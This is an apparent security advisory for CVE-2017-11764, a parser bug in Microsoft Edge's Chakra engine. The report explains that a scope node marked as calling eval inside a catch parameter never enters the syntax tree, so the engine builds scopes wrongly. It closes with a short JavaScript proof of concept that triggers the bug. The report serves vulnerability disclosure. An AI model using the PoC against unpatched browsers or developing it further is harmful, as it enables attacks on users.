Microsoft Edge Chakra Parser fails to handle "eval" in catch statemen

`Microsoft Edge: Chakra: Parser::ParseCatch doesn't handle "eval"   
  
CVE-2017-11764  
  
  
In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.  
  
ParseNodePtr Parser::ParseCatch()  
{  
...  
pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);  
...  
ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);  
...  
}  
  
1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.  
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".  
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.  
  
PoC:  
function f() {  
{  
let i;  
function g() {  
i;  
}  
  
try {  
throw 1;  
} catch ({e = eval('dd')}) {  
}  
}  
}  
  
f();  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.
